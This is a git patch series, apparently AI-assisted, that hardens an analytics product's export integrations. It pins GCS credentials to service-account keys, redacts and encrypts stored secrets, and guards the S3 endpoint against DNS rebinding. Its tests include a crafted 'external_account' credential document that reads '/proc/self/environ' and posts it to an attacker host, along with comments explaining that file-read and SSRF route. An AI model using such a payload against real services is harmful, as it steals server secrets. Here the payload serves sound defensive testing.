+ expect(result.error).toContain('not valid JSON');
+ });
+
+ it('accepts a real service account key', async () => {
+ // Reaching a connection error (rather than a validation error) proves the
+ // document passed the type pin and a client was actually built.
+ const result = await adapter({
+ bucket: 'op-gcs-validation-only',
+ serviceAccountKey: SERVICE_ACCOUNT_KEY,
+ }).testConnection();
+ expect(result.error ?? '').not.toContain('Invalid service account key');
+ });
+});
+
const available = await emulatorReachable();
describe.skipIf(!available)('GCSAdapter (fake-gcs-server)', () => {
@@ -108,7 +148,7 @@ describe.skipIf(!available)('GCSAdapter (fake-gcs-server)', () => {
}).testConnection();
expect(res.success).toBe(false);
- expect(res.error).toBe('Invalid service account key JSON');
+ expect(res.error).toBe('Invalid service account key: not valid JSON');
});
});
diff --git a/packages/integrations/src/object-store/gcs-adapter.ts b/packages/integrations/src/object-store/gcs-adapter.ts
index 5f10d206b..3d0bc5825 100644
--- a/packages/integrations/src/object-store/gcs-adapter.ts
+++ b/packages/integrations/src/object-store/gcs-adapter.ts
@@ -1,7 +1,7 @@
import { Storage } from '@google-cloud/storage';
import { decryptCredential } from '@openpanel/common/server';
import { createLogger } from '@openpanel/logger';
-import type { IGCSExportConfig } from '@openpanel/validation';
+import { type IGCSExportConfig, parseServiceAccountKey } from '@openpanel/validation';
import type {
IObjectStoreAdapter,
@@ -38,10 +38,26 @@ export class GCSAdapter implements IObjectStoreAdapter {
return this.storage;
}
- try {
- // Parse the service account key JSON
- const credentials = JSON.parse(this.config.serviceAccountKey);
+ // Parse and pin the credential document BEFORE it reaches the SDK.
+ //
+ // `new Storage({ credentials })` forwards the raw object to GoogleAuth,
+ // which dispatches on its `type`: an `external_account` document would be
+ // routed to ExternalAccountClient, whose `credential_source` gives the
+ // document's author arbitrary local file reads and unguarded outbound
+ // requests, with the result POSTed to an attacker-chosen `token_url`. The
+ // config is tenant-supplied, so that dispatch must be unreachable.
+ //
+ // The zod schema rejects non-service-account documents on the way in; this
+ // is the load-bearing check, covering rows written before that schema and
+ // any future caller that skips it.
+ const parsed = parseServiceAccountKey(this.config.serviceAccountKey);
+ if (!parsed.ok) {
+ logger.error({ reason: parsed.error }, 'Rejected GCS credential document');
+ throw new Error(`Invalid service account key: ${parsed.error}`);
+ }
+ const { credentials } = parsed;
+ try {
// Endpoint override. Real GCS needs none (the SDK resolves it), but
// pointing the client at a local fake-gcs-server is the only way to
// exercise this adapter without live Google credentials — the same
@@ -53,7 +69,19 @@ export class GCSAdapter implements IObjectStoreAdapter {
const apiEndpoint = process.env.GCS_API_ENDPOINT;
this.storage = new Storage({
- credentials,
+ // Allowlisted fields only, and deliberately WITHOUT `type`: with no
+ // recognised type GoogleAuth can only fall through to its JWT branch,
+ // which needs exactly client_email + private_key.
+ credentials: {
+ client_email: credentials.client_email,
+ private_key: credentials.private_key,
+ ...(credentials.private_key_id
+ ? { private_key_id: credentials.private_key_id }
+ : {}),
+ ...(credentials.universe_domain
+ ? { universe_domain: credentials.universe_domain }
+ : {}),
+ },
projectId: credentials.project_id,
...(apiEndpoint ? { apiEndpoint } : {}),
});
@@ -68,7 +96,7 @@ export class GCSAdapter implements IObjectStoreAdapter {
return this.storage;
} catch (error) {
logger.error({ error }, 'Failed to create GCS client');
- throw new Error('Invalid service account key JSON');
+ throw new Error('Failed to create GCS client');
}
}
diff --git a/packages/integrations/src/registry.test.ts b/packages/integrations/src/registry.test.ts
new file mode 100644
index 000000000..19a21a8d5
--- /dev/null
+++ b/packages/integrations/src/registry.test.ts
@@ -0,0 +1,102 @@
+import { beforeAll, describe, expect, it } from 'vitest';
+import {
+ carryOverConfigSecrets,
+ encryptConfigSecrets,
+ findEncryptedSecretField,
+ findMissingSecretFields,
+ redactConfigSecrets,
+} from './registry';
+
+beforeAll(() => {
+ process.env.ENCRYPTION_KEY = 'a'.repeat(64);
+});
+
+const gcs = (serviceAccountKey: string) =>
+ ({
+ type: 'gcs_export',
+ bucket: 'b',
+ prefix: 'p',
+ format: 'jsonl_gzip',
+ serviceAccountKey,
+ }) as const;
+
+const s3AccessKey = (secretAccessKey: string) =>
+ ({
+ type: 's3_export',
+ bucket: 'b',
+ prefix: 'p',
+ region: 'us-east-1',
+ format: 'jsonl_gzip',
+ encryption: 'SSE-S3',
+ authMode: 'access_key',
+ accessKeyId: 'AKIA',
+ secretAccessKey,
+ }) as const;
+
+const s3IamRole = {
+ type: 's3_export',
+ bucket: 'b',
+ prefix: 'p',
+ region: 'us-east-1',
+ format: 'jsonl_gzip',
+ encryption: 'SSE-S3',
+ authMode: 'iam_role',
+ roleArn: 'arn:aws:iam::1:role/x',
+} as const;
+
+describe('config secret handling', () => {
+ it('redacts declared secrets so they never reach a client', () => {
+ expect(redactConfigSecrets(gcs('super-secret')).serviceAccountKey).toBe('');
+ expect(redactConfigSecrets(s3AccessKey('shhh')).secretAccessKey).toBe('');
+ });
+
+ it('leaves configs without secrets untouched, by identity', () => {
+ // The router returns the row as-is when nothing changed, so identity matters.
+ expect(redactConfigSecrets(s3IamRole)).toBe(s3IamRole);
+ expect(redactConfigSecrets({ type: 'slack' })).toEqual({ type: 'slack' });
+ });
+
+ it('is lenient for an empty/unknown config (Slack pre-OAuth is {})', () => {
+ expect(() => redactConfigSecrets({})).not.toThrow();
+ expect(() => findEncryptedSecretField({})).not.toThrow();
+ expect(findMissingSecretFields({})).toEqual([]);
+ expect(findMissingSecretFields({ type: 'nope' })).toEqual([]);
+ });
+
+ it('encrypts declared secrets before persisting', () => {
+ const encrypted = encryptConfigSecrets(gcs('super-secret'));
+ expect(encrypted.serviceAccountKey.startsWith('enc:')).toBe(true);
+ expect(encrypted.serviceAccountKey).not.toContain('super-secret');
+ });
+
+ it('carries a blank secret over from the stored row on update', () => {
+ const stored = encryptConfigSecrets(gcs('super-secret'));
+ const submitted = carryOverConfigSecrets(gcs(''), stored);
+ expect(submitted.serviceAccountKey).toBe(stored.serviceAccountKey);
+ });
+
+ it('does not let a submitted secret be overwritten by the stored one', () => {
+ const stored = encryptConfigSecrets(gcs('old'));
+ const submitted = carryOverConfigSecrets(gcs('new-key'), stored);
+ expect(submitted.serviceAccountKey).toBe('new-key');
+ });
+
+ it('reports a blank secret with nothing stored to fall back to', () => {
+ expect(findMissingSecretFields(carryOverConfigSecrets(gcs(''), null))).toEqual([
+ 'serviceAccountKey',
+ ]);
+ expect(findMissingSecretFields(gcs('key'))).toEqual([]);
+ // iam_role has no secret field on the object at all.
+ expect(findMissingSecretFields(s3IamRole)).toEqual([]);
+ });
+
+ it('detects a replayed ciphertext on the input path', () => {
+ // A client is never given a ciphertext, so one arriving is an attempt to
+ // replay a secret lifted from another integration.
+ expect(findEncryptedSecretField(gcs('enc:abc'))).toBe('serviceAccountKey');
+ expect(findEncryptedSecretField(s3AccessKey('enc:abc'))).toBe(
+ 'secretAccessKey',
+ );
+ expect(findEncryptedSecretField(gcs('plaintext'))).toBeUndefined();
+ });
+});
diff --git a/packages/integrations/src/registry.ts b/packages/integrations/src/registry.ts
index 9b27ebd18..a3576d336 100644
--- a/packages/integrations/src/registry.ts
+++ b/packages/integrations/src/registry.ts
@@ -3,7 +3,7 @@ import {
execute as executeJavaScriptTemplate,
validate as validateJavaScriptTemplate,
} from '@openpanel/js-runtime';
-import type { IIntegrationConfig } from '@openpanel/validation';
+import { type IIntegrationConfig, looksEncrypted } from '@openpanel/validation';
import {
sendDiscordNotification,
sendTestDiscordNotification,
@@ -67,10 +67,22 @@ export interface IServerIntegration {
testConnection?(
config: ConfigOf,
): Promise<{ success: boolean; error?: string }>;
- // Optional at-rest credential encryption applied before persisting config.
- encryptCredentials?(config: ConfigOf): ConfigOf;
+ /**
+ * Config keys holding a credential. ONE declaration drives all three things
+ * we must do with a secret — encrypt at rest, redact on read, carry the
+ * stored value over when an update submits a blank — so they can never drift
+ * apart as integrations are added.
+ */
+ secretFields?: readonly Extract>, string>[];
}
+/**
+ * `keyof` over a union yields only the shared keys, which would drop
+ * `secretAccessKey` (it lives on just one arm of the S3 auth-mode union).
+ * Distributing keeps every arm's keys while still catching a typo.
+ */
+type AllConfigKeys = T extends unknown ? keyof T : never;
+
const slackServer: IServerIntegration<'slack'> = {
type: 'slack',
notification: {
@@ -157,13 +169,8 @@ const s3Server: IServerIntegration<'s3_export'> = {
createAdapter: (config) => createS3Adapter(config),
},
testConnection: (config) => createS3Adapter(config).testConnection(),
- encryptCredentials: (config) =>
- config.authMode === 'access_key'
- ? {
- ...config,
- secretAccessKey: encryptCredential(config.secretAccessKey),
- }
- : config,
+ // Absent in iam_role configs; the generic helpers skip keys that aren't there.
+ secretFields: ['secretAccessKey'],
};
const gcsServer: IServerIntegration<'gcs_export'> = {
@@ -172,10 +179,7 @@ const gcsServer: IServerIntegration<'gcs_export'> = {
createAdapter: (config) => createGCSAdapter(config),
},
testConnection: (config) => createGCSAdapter(config).testConnection(),
- encryptCredentials: (config) => ({
- ...config,
- serviceAccountKey: encryptCredential(config.serviceAccountKey),
- }),
+ secretFields: ['serviceAccountKey'],
};
export const SERVER_INTEGRATIONS = {
@@ -202,3 +206,109 @@ export function getServerIntegration(
): IServerIntegration {
return SERVER_INTEGRATIONS[type] as unknown as IServerIntegration;
}
+
+// ---------------------------------------------------------------------------
+// Generic secret handling, driven by each plugin's `secretFields`.
+//
+// Credentials are WRITE-ONLY: encrypted before they are persisted, blanked
+// before a config is returned to a client, and restored from the stored row
+// when an update submits a blank. Returning a stored ciphertext to a client
+// would both hand a project *reader* the org's credentials and make the blob
+// replayable — decryptCredential accepts any `enc:` value under the single
+// global key, so it is a portable bearer token, not an opaque one.
+// ---------------------------------------------------------------------------
+
+type LooseConfig = Record & { type?: string };
+
+/** Lenient like `isKind`: an empty/unknown config simply has no secrets. */
+function secretFieldsFor(config: unknown): readonly string[] {
+ const type = (config as LooseConfig | null)?.type;
+ if (!type || !(type in SERVER_INTEGRATIONS)) {
+ return [];
+ }
+ const plugin = SERVER_INTEGRATIONS[
+ type as IIntegrationConfig['type']
+ ] as IServerIntegration;
+ return plugin.secretFields ?? [];
+}
+
+function mapSecrets(
+ config: C,
+ map: (value: string, field: string) => string | undefined,
+): C {
+ const fields = secretFieldsFor(config);
+ if (fields.length === 0) {
+ return config;
+ }
+
+ let next: Record | undefined;
+ for (const field of fields) {
+ const current = (config as LooseConfig)[field];
+ if (typeof current !== 'string') {
+ continue;
+ }
+ const replacement = map(current, field);
+ if (replacement === undefined || replacement === current) {
+ continue;
+ }
+ next ??= { ...(config as Record) };
+ next[field] = replacement;
+ }
+
+ return (next as C) ?? config;
+}
+
+/** Encrypt every declared secret before persisting. */
+export function encryptConfigSecrets(config: C): C {
+ return mapSecrets(config, (value) => encryptCredential(value));
+}
+
+/** Blank every declared secret before a config leaves the API. */
+export function redactConfigSecrets(config: C): C {
+ return mapSecrets(config, (value) => (value === '' ? undefined : ''));
+}
+
+/**
+ * Restore secrets the client left blank from the stored row, so an edit that
+ * doesn't retype the credential keeps working now that reads are redacted.
+ */
+export function carryOverConfigSecrets(next: C, stored: unknown): C {
+ return mapSecrets(next, (value, field) => {
+ if (value !== '') {
+ return undefined;
+ }
+ const previous = (stored as LooseConfig | null)?.[field];
+ return typeof previous === 'string' ? previous : undefined;
+ });
+}
+
+/**
+ * Name of the first declared secret that arrived already encrypted, if any.
+ * Callers reject the request: a client never legitimately holds a ciphertext,
+ * so one on the wire is a replay attempt.
+ */
+export function findEncryptedSecretField(config: unknown): string | undefined {
+ for (const field of secretFieldsFor(config)) {
+ const value = (config as LooseConfig)[field];
+ if (typeof value === 'string' && looksEncrypted(value)) {
+ return field;
+ }
+ }
+ return undefined;
+}
+
+/**
+ * Names of the declared secrets that are present but blank.
+ *
+ * An ABSENT field is not missing — it is not applicable to this config variant
+ * (an `iam_role` S3 config carries no `secretAccessKey` at all), and the zod
+ * schema already guarantees the field exists on the variants that need it.
+ */
+export function findMissingSecretFields(config: unknown): string[] {
+ if (typeof config !== 'object' || config === null) {
+ return [];
+ }
+ return secretFieldsFor(config).filter(
+ (field) => field in config && (config as LooseConfig)[field] === '',
+ );
+}
diff --git a/packages/trpc/src/routers/integration.ts b/packages/trpc/src/routers/integration.ts
index 19b9ce93f..4de180695 100644
--- a/packages/trpc/src/routers/integration.ts
+++ b/packages/trpc/src/routers/integration.ts
@@ -2,7 +2,14 @@ import { z } from 'zod';
import { BASE_INTEGRATIONS, db } from '@openpanel/db';
-import { getServerIntegration } from '@openpanel/integrations/src/registry';
+import {
+ carryOverConfigSecrets,
+ encryptConfigSecrets,
+ findEncryptedSecretField,
+ findMissingSecretFields,
+ getServerIntegration,
+ redactConfigSecrets,
+} from '@openpanel/integrations/src/registry';
import { getSlackInstallUrl } from '@openpanel/integrations/src/slack';
import {
type IIntegrationConfig,
@@ -36,6 +43,28 @@ async function assertProjectAccessAndGetOrg(
return project.organizationId;
}
+// Credentials are write-only: they are encrypted at rest and never travel back
+// to a client. `read` on a project is bare membership, so returning the stored
+// ciphertext would hand every project member the org's object-store keys — and
+// because `decryptCredential` accepts any `enc:` blob under the single global
+// key, that ciphertext is a replayable bearer token, not an opaque handle.
+function redactIntegration(integration: T): T {
+ const config = redactConfigSecrets(integration.config);
+ return config === integration.config ? integration : { ...integration, config };
+}
+
+// A client never legitimately holds a ciphertext (see redactIntegration), so
+// one arriving on the wire is an attempt to replay a secret lifted from another
+// integration into an attacker-chosen destination.
+function rejectEncryptedSecrets(config: unknown) {
+ const field = findEncryptedSecretField(config);
+ if (field) {
+ throw new TRPCBadRequestError(
+ `\`${field}\` looks like a stored, already-encrypted value. Paste the real credential, or leave it blank to keep the current one.`,
+ );
+ }
+}
+
// Shared create/update path for any form-configured integration. All per-type
// behavior (validation, connection test, credential encryption) is delegated to
// the integration's server plugin — adding a new integration needs no change here.
@@ -51,14 +80,18 @@ async function upsertIntegration(
// Authorize first. For an update, authorize against the EXISTING integration's
// scope — not the attacker-controlled input.projectId — so a user with access
// to one project can't update another project's integration in the same org.
+ rejectEncryptedSecrets(input.config);
+
let organizationId: string;
+ let storedConfig: unknown;
if (input.id) {
const existing = await db.integration.findUniqueOrThrow({
where: { id: input.id },
- select: { projectId: true, organizationId: true },
+ select: { projectId: true, organizationId: true, config: true },
});
await assertIntegrationAccess(userId, existing, 'write');
organizationId = existing.organizationId;
+ storedConfig = existing.config;
} else {
organizationId = await assertProjectAccessAndGetOrg(
userId,
@@ -67,20 +100,35 @@ async function upsertIntegration(
);
}
- const plugin = getServerIntegration(input.config.type);
+ // A blank secret means "keep the stored one" — the client can't resubmit what
+ // it was never given. On create there is nothing to fall back to.
+ const submitted = input.id
+ ? carryOverConfigSecrets(input.config, storedConfig)
+ : input.config;
+
+ const missing = findMissingSecretFields(submitted);
+ if (missing.length > 0) {
+ throw new TRPCBadRequestError(
+ `Missing credential${missing.length > 1 ? 's' : ''}: ${missing.join(', ')}`,
+ );
+ }
+
+ const plugin = getServerIntegration(submitted.type);
- const validation = plugin.validateConfig?.(input.config);
+ const validation = plugin.validateConfig?.(submitted);
if (validation && !validation.valid) {
throw new TRPCBadRequestError(`Invalid config: ${validation.error}`);
}
- // Test the connection with the unencrypted credentials before saving.
- const testResult = await plugin.testConnection?.(input.config);
+ // Test the connection with the real credentials before saving. `submitted`
+ // may carry a still-encrypted value forward from the stored row; the adapters
+ // decrypt on construction, so this works for both new and carried-over keys.
+ const testResult = await plugin.testConnection?.(submitted);
if (testResult && !testResult.success) {
throw new TRPCBadRequestError(`Failed to connect: ${testResult.error}`);
}
- const config = plugin.encryptCredentials?.(input.config) ?? input.config;
+ const config = encryptConfigSecrets(submitted);
if (input.id) {
return db.integration.update({
@@ -146,7 +194,7 @@ export const integrationRouter = createTRPCRouter({
await assertIntegrationAccess(ctx.session.userId, integration, 'read');
- return integration;
+ return redactIntegration(integration);
}),
list: protectedProcedure
.input(z.object({ projectId: z.string() }))
@@ -172,7 +220,7 @@ export const integrationRouter = createTRPCRouter({
},
});
- return [...BASE_INTEGRATIONS, ...integrations];
+ return [...BASE_INTEGRATIONS, ...integrations.map(redactIntegration)];
}),
createOrUpdateSlack: protectedProcedure
.input(zCreateSlackIntegration)
@@ -266,6 +314,7 @@ export const integrationRouter = createTRPCRouter({
projectId: input.projectId,
level: 'write',
});
+ rejectEncryptedSecrets(input.config);
return (
(await getServerIntegration(input.config.type).testConnection?.(
@@ -283,6 +332,7 @@ export const integrationRouter = createTRPCRouter({
projectId: input.projectId,
level: 'write',
});
+ rejectEncryptedSecrets(input.config);
return (
(await getServerIntegration(input.config.type).testConnection?.(
diff --git a/packages/validation/src/integrations.test.ts b/packages/validation/src/integrations.test.ts
index 7311ff43f..39655dfda 100644
--- a/packages/validation/src/integrations.test.ts
+++ b/packages/validation/src/integrations.test.ts
@@ -1,5 +1,10 @@
import { describe, expect, it } from 'vitest';
-import { isKind } from './integrations';
+import {
+ isKind,
+ parseServiceAccountKey,
+ zGCSExportConfig,
+ zS3ExportConfig,
+} from './integrations';
describe('isKind', () => {
it('matches a declared capability', () => {
@@ -22,3 +27,129 @@ describe('isKind', () => {
expect(isKind({ type: 'something-unknown' }, 'export')).toBe(false);
});
});
+
+const SERVICE_ACCOUNT = JSON.stringify({
+ type: 'service_account',
+ project_id: 'openpanel-test',
+ client_email: 'exporter@openpanel-test.iam.gserviceaccount.com',
+ private_key: '-----BEGIN PRIVATE KEY-----\nabc\n-----END PRIVATE KEY-----\n',
+});
+
+describe('parseServiceAccountKey', () => {
+ it('accepts a service_account document and returns only allowlisted fields', () => {
+ const result = parseServiceAccountKey(SERVICE_ACCOUNT);
+ expect(result.ok).toBe(true);
+ if (!result.ok) {
+ return;
+ }
+ expect(result.credentials.project_id).toBe('openpanel-test');
+ expect(result.credentials.client_email).toBe(
+ 'exporter@openpanel-test.iam.gserviceaccount.com',
+ );
+ });
+
+ it('drops unknown fields rather than passing them through to the SDK', () => {
+ const result = parseServiceAccountKey(
+ JSON.stringify({
+ ...JSON.parse(SERVICE_ACCOUNT),
+ credential_source: { file: '/proc/self/environ' },
+ token_url: 'https://attacker.example/collect',
+ }),
+ );
+ expect(result.ok).toBe(true);
+ if (!result.ok) {
+ return;
+ }
+ expect(result.credentials).not.toHaveProperty('credential_source');
+ expect(result.credentials).not.toHaveProperty('token_url');
+ });
+
+ it('rejects external_account documents (file-read / SSRF primitive)', () => {
+ // google-auth-library dispatches on `type`; external_account would route to
+ // ExternalAccountClient, whose credential_source reads arbitrary local files
+ // or issues arbitrary requests and POSTs the result to token_url.
+ const result = parseServiceAccountKey(
+ JSON.stringify({
+ type: 'external_account',
+ audience: '//iam.googleapis.com/projects/1/x',
+ subject_token_type: 'urn:ietf:params:oauth:token-type:jwt',
+ token_url: 'https://attacker.example/collect',
+ credential_source: { file: '/proc/self/environ' },
+ }),
+ );
+ expect(result.ok).toBe(false);
+ if (result.ok) {
+ return;
+ }
+ expect(result.error).toContain('external_account');
+ });
+
+ it('rejects the other GoogleAuth credential types', () => {
+ for (const type of [
+ 'authorized_user',
+ 'impersonated_service_account',
+ 'external_account_authorized_user',
+ ]) {
+ expect(parseServiceAccountKey(JSON.stringify({ type })).ok).toBe(false);
+ }
+ });
+
+ it('rejects malformed and incomplete documents', () => {
+ expect(parseServiceAccountKey('not json').ok).toBe(false);
+ expect(parseServiceAccountKey('[]').ok).toBe(false);
+ expect(parseServiceAccountKey('"a string"').ok).toBe(false);
+ expect(
+ parseServiceAccountKey(
+ JSON.stringify({ type: 'service_account', project_id: 'p' }),
+ ).ok,
+ ).toBe(false);
+ });
+});
+
+describe('write-only secrets', () => {
+ const base = {
+ type: 'gcs_export' as const,
+ bucket: 'b',
+ prefix: 'p',
+ format: 'jsonl_gzip' as const,
+ };
+
+ it('rejects an already-encrypted value being replayed as a credential', () => {
+ const parsed = zGCSExportConfig.safeParse({
+ ...base,
+ serviceAccountKey: 'enc:c29tZS1jaXBoZXJ0ZXh0',
+ });
+ expect(parsed.success).toBe(false);
+ });
+
+ it('allows a blank credential (means "keep the stored one" on update)', () => {
+ expect(
+ zGCSExportConfig.safeParse({ ...base, serviceAccountKey: '' }).success,
+ ).toBe(true);
+ });
+
+ it('rejects a non-service-account credential document', () => {
+ expect(
+ zGCSExportConfig.safeParse({
+ ...base,
+ serviceAccountKey: JSON.stringify({ type: 'external_account' }),
+ }).success,
+ ).toBe(false);
+ });
+
+ it('rejects a replayed S3 secret access key', () => {
+ expect(
+ zS3ExportConfig.safeParse({
+ type: 's3_export',
+ bucket: 'b',
+ prefix: 'p',
+ region: 'us-east-1',
+ format: 'jsonl_gzip',
+ encryption: 'SSE-S3',
+ authMode: 'access_key',
+ accessKeyId: 'AKIA',
+ secretAccessKey: 'enc:c29tZS1jaXBoZXJ0ZXh0',
+ }).success,
+ ).toBe(false);
+ });
+});
diff --git a/packages/validation/src/integrations.ts b/packages/validation/src/integrations.ts
index 90b9fc997..ee8afaa09 100644
--- a/packages/validation/src/integrations.ts
+++ b/packages/validation/src/integrations.ts
@@ -1,5 +1,109 @@
import { z } from 'zod';
+// ---------------------------------------------------------------------------
+// Secret handling
+// ---------------------------------------------------------------------------
+
+/**
+ * Prefix marking an at-rest ciphertext. Mirrors ENCRYPTION_PREFIX in
+ * `@openpanel/common/server/encryption.ts`, duplicated because this package is
+ * bundled for the browser and must not pull in the node-only crypto module.
+ *
+ * Credentials are WRITE-ONLY: the API redacts them on read, so a client never
+ * legitimately holds one. Refusing the prefix on input stops a caller from
+ * replaying a ciphertext lifted from another integration — `decryptCredential`
+ * accepts any `enc:` blob under the single global key, so an accepted ciphertext
+ * would be a portable bearer token.
+ */
+export const ENCRYPTED_SECRET_PREFIX = 'enc:';
+
+export function looksEncrypted(value: string): boolean {
+ return value.startsWith(ENCRYPTED_SECRET_PREFIX);
+}
+
+/**
+ * A secret the client writes but never reads back. Empty means "keep whatever
+ * is already stored" (enforced server-side: required on create, carried over on
+ * update). An `enc:` value is always rejected — see ENCRYPTED_SECRET_PREFIX.
+ */
+const zWriteOnlySecret = (label: string) =>
+ z.string().refine((value) => !looksEncrypted(value), {
+ message: `${label} looks like a stored, already-encrypted value. Paste the real credential, or leave it blank to keep the current one.`,
+ });
+
+// ---------------------------------------------------------------------------
+// Google service-account credentials
+// ---------------------------------------------------------------------------
+
+/** The only credential document shape we accept for GCS. */
+export interface IServiceAccountKey {
+ type: 'service_account';
+ project_id: string;
+ client_email: string;
+ private_key: string;
+ private_key_id?: string;
+ universe_domain?: string;
+}
+
+export type IServiceAccountKeyResult =
+ | { ok: true; credentials: IServiceAccountKey }
+ | { ok: false; error: string };
+
+/**
+ * Parse and PIN a Google credential document to `type: "service_account"`.
+ *
+ * google-auth-library dispatches on the document's `type` field, and the other
+ * branches are dangerous with tenant-supplied input: an `external_account`
+ * document turns `credentials` into an arbitrary-file-read and SSRF primitive
+ * (`credential_source.file` / `.url`, exfiltrated to an attacker-chosen
+ * `token_url`, none of which the library validates). Never hand an unvalidated
+ * document to the SDK — parse it here first, and pass only the allowlisted
+ * fields on.
+ */
+export function parseServiceAccountKey(raw: string): IServiceAccountKeyResult {
+ let parsed: unknown;
+ try {
+ parsed = JSON.parse(raw);
+ } catch {
+ return { ok: false, error: 'not valid JSON' };
+ }
+
+ if (typeof parsed !== 'object' || parsed === null || Array.isArray(parsed)) {
+ return { ok: false, error: 'not a JSON object' };
+ }
+
+ const doc = parsed as Record;
+
+ if (doc.type !== 'service_account') {
+ return {
+ ok: false,
+ error: `unsupported credential type ${JSON.stringify(doc.type ?? null)} — only "service_account" keys are accepted`,
+ };
+ }
+
+ for (const field of ['project_id', 'client_email', 'private_key'] as const) {
+ if (typeof doc[field] !== 'string' || doc[field] === '') {
+ return { ok: false, error: `missing "${field}"` };
+ }
+ }
+
+ return {
+ ok: true,
+ credentials: {
+ type: 'service_account',
+ project_id: doc.project_id as string,
+ client_email: doc.client_email as string,
+ private_key: doc.private_key as string,
+ ...(typeof doc.private_key_id === 'string'
+ ? { private_key_id: doc.private_key_id }
+ : {}),
+ ...(typeof doc.universe_domain === 'string'
+ ? { universe_domain: doc.universe_domain }
+ : {}),
+ },
+ };
+}
+
// ---------------------------------------------------------------------------
// Per-type config schemas
// ---------------------------------------------------------------------------
@@ -85,7 +189,8 @@ const zS3AuthIamRole = z.object({
const zS3AuthAccessKey = z.object({
authMode: z.literal('access_key'),
accessKeyId: z.string().min(1, 'Access Key ID is required'),
- secretAccessKey: z.string().min(1, 'Secret Access Key is required'),
+ // Write-only. Blank on update = keep the stored key (see zWriteOnlySecret).
+ secretAccessKey: zWriteOnlySecret('Secret Access Key'),
});
// S3 config with IAM role auth
@@ -112,8 +217,23 @@ export const zGCSExportConfig = z.object({
// Only jsonl_gzip is implemented; adding a format here without a
// `createBatch` branch persists a config whose exports can never run.
format: z.enum(['jsonl_gzip']).default('jsonl_gzip'),
- // Service account credentials (JSON key as string)
- serviceAccountKey: z.string().min(1, 'Service account key is required'),
+ // Service account credentials (JSON key as string). Write-only; blank on
+ // update = keep the stored key. Non-blank must be a real service-account
+ // document — see parseServiceAccountKey for why the type is pinned.
+ serviceAccountKey: zWriteOnlySecret('Service account key').superRefine(
+ (value, ctx) => {
+ if (value === '') {
+ return;
+ }
+ const result = parseServiceAccountKey(value);
+ if (!result.ok) {
+ ctx.addIssue({
+ code: z.ZodIssueCode.custom,
+ message: `Invalid service account key: ${result.error}`,
+ });
+ }
+ },
+ ),
});
export type IGCSExportConfig = z.infer;
From b43ef093aee623bc062ddd998e6a90a5e4ee2167 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Carl-Gerhard=20Lindesva=CC=88rd?=
Date: Sat, 29 Aug 2026 20:02:38 +0200
Subject: [PATCH 15/15] fix(integrations): pin the S3 endpoint socket, redact
Slack/webhook secrets
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Follow-ups to the security review.
DNS rebinding on the S3 custom endpoint. `assertSafeUrl` validated the resolved
address and threw it away; the AWS SDK then resolved the hostname again on its
own, so a tenant endpoint whose DNS answer flipped between the check and the
connect would reach an internal host. `assertSafeUrl` now returns the addresses
it validated (null when skipped on self-hosted) and the S3 client is built with
http/https agents whose `lookup` only ever yields that address — the same
pinning `safeFetch` already does for fetch callers, via a shared
`createPinnedLookup`. Only the access-key path takes an endpoint; assumed-role
clients always talk to the default AWS endpoint. The hostname still travels as
SNI and Host, so TLS verification is unchanged.
`S3Adapter.testConnection` also echoed raw SDK errors to the caller, which made
it a probe for whatever the worker could reach. Common cases now map to
actionable messages and everything else (DNS, connection, TLS) collapses to one
line; the full error is logged for operators.
Slack tokens and webhook headers were returned in plaintext by
`integration.list`/`get` at `read` — bare project membership. The Slack bot
token and incoming-webhook URL are both bearer credentials for the customer's
workspace, and webhook header values routinely carry an Authorization bearer.
Both are now redacted.
These are read-only exposures of values the notification senders consume raw,
so they are redact-only: encrypting them would need decrypt-at-use plus a
backfill of the existing plaintext rows. `secretFields` therefore became a
descriptor — `path` (dotted, for incoming_webhook.url), `encrypted` (also
encrypt at rest, reject a replayed ciphertext, require non-blank) and `record`
(a map whose values are secret, keys stay visible so the form still shows which
headers are set, carry-over per key so editing a webhook no longer wipes its
auth header).
Claude-Session: https://claude.ai/code/session_01MfxSQT66GbrE11cYb6qbdy
---
.../forms/webhook-integration.tsx | 6 +-
packages/common/server/safe-fetch.ts | 43 +++-
packages/common/server/ssrf.test.ts | 53 ++++-
packages/common/server/ssrf.ts | 21 +-
.../src/object-store/s3-adapter.ts | 94 +++++++-
packages/integrations/src/registry.test.ts | 107 +++++++++
packages/integrations/src/registry.ts | 207 ++++++++++++++----
7 files changed, 450 insertions(+), 81 deletions(-)
diff --git a/apps/start/src/components/integrations/forms/webhook-integration.tsx b/apps/start/src/components/integrations/forms/webhook-integration.tsx
index cc891dd61..edd3be0cc 100644
--- a/apps/start/src/components/integrations/forms/webhook-integration.tsx
+++ b/apps/start/src/components/integrations/forms/webhook-integration.tsx
@@ -176,7 +176,11 @@ export function WebhookIntegrationForm({
className="flex-1"
/>
diff --git a/packages/common/server/safe-fetch.ts b/packages/common/server/safe-fetch.ts
index 2f5cfddd9..3de76cebc 100644
--- a/packages/common/server/safe-fetch.ts
+++ b/packages/common/server/safe-fetch.ts
@@ -130,24 +130,45 @@ export async function assertPublicHostname(
return resolvePublicAddresses(hostname);
}
+/**
+ * A `lookup` that resolves every hostname to `address`, so a socket cannot end
+ * up anywhere other than the address we just validated. Shared by the undici
+ * dispatcher below and by clients whose transport we don't own (the AWS SDK),
+ * which otherwise re-resolve the hostname themselves and can be steered
+ * elsewhere by a DNS answer that changes after the check (rebinding).
+ *
+ * Signature-compatible with both `net.LookupFunction` and undici's connect
+ * `lookup`; the two type it slightly differently, so call sites cast.
+ */
+export function createPinnedLookup(address: string) {
+ const family = net.isIPv6(address) ? 6 : 4;
+ return (
+ _hostname: string,
+ options: { all?: boolean },
+ callback: (
+ err: null,
+ addressOrList: string | { address: string; family: number }[],
+ family?: number,
+ ) => void,
+ ) => {
+ if (options.all) {
+ callback(null, [{ address, family }]);
+ return;
+ }
+ callback(null, address, family);
+ };
+}
+
/**
* A dispatcher that only ever connects to `address`, so the socket cannot end
* up somewhere other than the address we just validated.
*/
export function createPinnedAgent(address: string): Agent {
- const family = net.isIPv6(address) ? 6 : 4;
return new Agent({
connect: {
- lookup: (_hostname, options, callback) => {
- if (options.all) {
- (callback as unknown as (
- err: null,
- addresses: { address: string; family: number }[],
- ) => void)(null, [{ address, family }]);
- return;
- }
- callback(null, address, family);
- },
+ // undici types this as net.LookupFunction; the shared implementation is
+ // signature-compatible but typed loosely so node's Agent can use it too.
+ lookup: createPinnedLookup(address) as unknown as net.LookupFunction,
},
});
}
